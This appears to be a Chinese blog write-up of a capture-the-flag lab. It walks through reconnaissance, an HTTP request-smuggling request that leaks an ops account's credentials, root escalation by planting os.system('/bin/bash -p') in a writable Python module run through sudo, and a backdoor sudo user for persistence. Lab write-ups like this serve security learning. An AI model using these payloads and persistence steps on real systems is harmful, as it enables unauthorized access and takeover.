3668 字
13 分钟阅读
CTF02-smuggle-gw(HTTP走私)

渗透工具
nmap端口扫描及服务工具
gobuster目录爆破工具
dirsearch目录爆破工具
whatweb网站信息探测工具
nuclei漏洞扫描工具
burpsuite请求修改工具(本次实验)

一、信息收集

nmap -sV -Pn -p- 10.10.1.52

通过nmap扫描发现靶机开放了两个端口22端口和80的web网页端口,并且后台是一个Linux系统,API网关/流量网关为YX-Gateway,22端口可以放进后台做一个账密爆破

dirsearch -u http://10.10.1.52 -x 400,404

发现一个403的没有权限的目录

gobuster dir -u http://10.10.1.52/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 --no-error

该工具没爆破出什么有用的东西

nuclei -u http://10.10.1.52 

本次 nuclei 未命中任何公开 CVE 漏洞,无高危漏洞告警输出

whatweb -a 3 -q -v http://10.10.1.52
##-a Aggression 探测等级 3(最高探测力度,指纹最全),1:轻量,2:默认,3:激进;1最少请求,追求隐蔽;2平衡模式(默认);3最大力度指纹搜集,发包量大,容易触发防护、产生大量访问日志

接下访问靶机的web网页

查看该网页是一个对于业务服务系统的一个状态监控的应用,其中有三个公开端口,进行访问尝试

GET /api/v1/health — 健康检查

GET /api/v1/apps — 已接入应用清单

– GET /api/v1/metrics — 运行指标

目前通过这些对外公布的API接口了解了这就是一个业务系统的状态的监控页面,并且后台做了一个负载均衡来提高本身监控系统的冗余,由此并没有发现什么有价值的信息,目前还有一个源代码的页面没有查看,看有什么重要数据保留,比如开发者因为工作疏忽或者忙于其他业务没有及时删除的注释等等。


发现在源代码的末尾存在一个JavaScrip的外部资源路径
http://10.10.1.52/static/app.js

因为有ACL规则(黑名单)的原因所以正常情况访问的话会报403的错误

渗透测试

http走私

如果存在http走私,那我们可以通过前后端认知不一致将想要请求的信息放进合法正常的请求带进后台服务器,然后通过服务器将我们请求的敏感数据带出(一般服务器对于入站的数据管理比出战的数据管理更加严格),所以需要这里需要验证是否存在http走私的可能

这里利用脚本yx_smuggle.py来验证,以下为该脚本中的一个函数

他的原理是

POST /api/v1/events HTTP/1.1 
Host: x.x.x.x Content-Length: 4 
Transfer-Encoding: chunked 
1\r\nA

以上四个API进行请求(分块模式)一直到最后一个API请求通过前端过去后,由于请求是chunked,请求体末尾由于没有\r\n 这个结束标记,导致后端连接阻塞等待超时,这就证明了前端和后端的认知不一致说明存在http走私

构造http走私请求
burpsuite

GET / HTTP/1.1
Host: 10.10.1.52
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 69
Transfer-Encoding: chunked

0

GET /internal/ops/agents HTTP/1.1
Host:10.10.1.52


注:


获取了运维用户的账密
账号opsapi
密码Yx@0ps-Depl0y#2026
通过ssh连接终端

ssh opsapi@10.10.1.52

成功进入服务器终端

提权

SUID

find / -perm -4000 -type f 2>/dev/null

发现全是系统自带得二进制命令没有利用价值

find / -perm -2000 -type f 2>/dev/null

发现全是系统自带得二进制命令没有利用价值

sudo -l
#查看当前用户利用sudo免密的文件


发现一个deploy.py文件可以sudo免密,去其目录查看该文件

cat deploy.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
YX-OpsCenter 发布执行器
==========================================================
由运维平台的 ops-agent 调用,负责在目标主机上落地一次应用发布:
拉取制品 -> 校验 -> 切换软链 -> 重启服务 -> 回写发布记录。

因为需要重启 systemd 服务、写 /opt 与 /var/log,本脚本必须以 root 运行;
运维账号 opsapi 通过 sudoers 白名单免密调用(见 /etc/sudoers.d/opsapi-deploy)。

用法:
    sudo /usr/bin/python3 /opt/yx-ops/deploy.py [--app <code>] [--dry-run]
"""

import argparse
import os
import sys
import time

# 发布相关的公共逻辑放在同目录的工具模块里,
# 由运维平台在每次版本升级时自动同步覆盖。
import deploy_utils


def main():
    ap = argparse.ArgumentParser(description="YX-OpsCenter 发布执行器")
    ap.add_argument("--app", default="portal", help="待发布的业务系统编码")
    ap.add_argument("--dry-run", action="store_true", help="只做校验不实际发布")
    args = ap.parse_args()

    deploy_utils.banner()

    print("[*] 目标应用 : %s" % args.app)
    print("[*] 执行身份 : uid=%d gid=%d" % (os.getuid(), os.getgid()))
    print("[*] 发布时间 : %s" % time.strftime("%Y-%m-%d %H:%M:%S"))

    release = deploy_utils.resolve_release(args.app)
    print("[*] 制品版本 : %s" % release)

    if not deploy_utils.precheck(args.app):
        print("[!] 发布前校验未通过,已中止")
        return 1

    if args.dry_run:
        print("[=] dry-run 模式,未执行实际发布")
        return 0

    deploy_utils.apply_release(args.app, release)
    deploy_utils.record(args.app, release)
    print("[+] 发布完成")
    return 0


if __name__ == "__main__":
    sys.exit(main())

没发现在该python脚本里没有什么利用来提前的东西加上当前用户没有该文件的修改权限,但是该脚本回去调用deploy_utils.py脚本的banner函数,并且该脚本对于当前用户是有写的权限的,因此我们可以去修改该函数来提权

deploy_utils.py

# coding: UTF-8
import os
os.system('/bin/bash -p')
def banner():
  pass

因为调用另外一个.py文件的模块时他是会去读取调用的.py文件的从上往下的指令并不是只去找该.py文件中的某一个函数,因为这样可能会遗漏一些环境变量这些必要参数。

提权成功

权限持久化

useradd -m -s /bin/bash hacker
usermod -aG 27 hacker
echo 'hacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/90-cloud-init-users 
passwd hacker
#密码123456

kali

ssh hacker@10.10.1.52

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注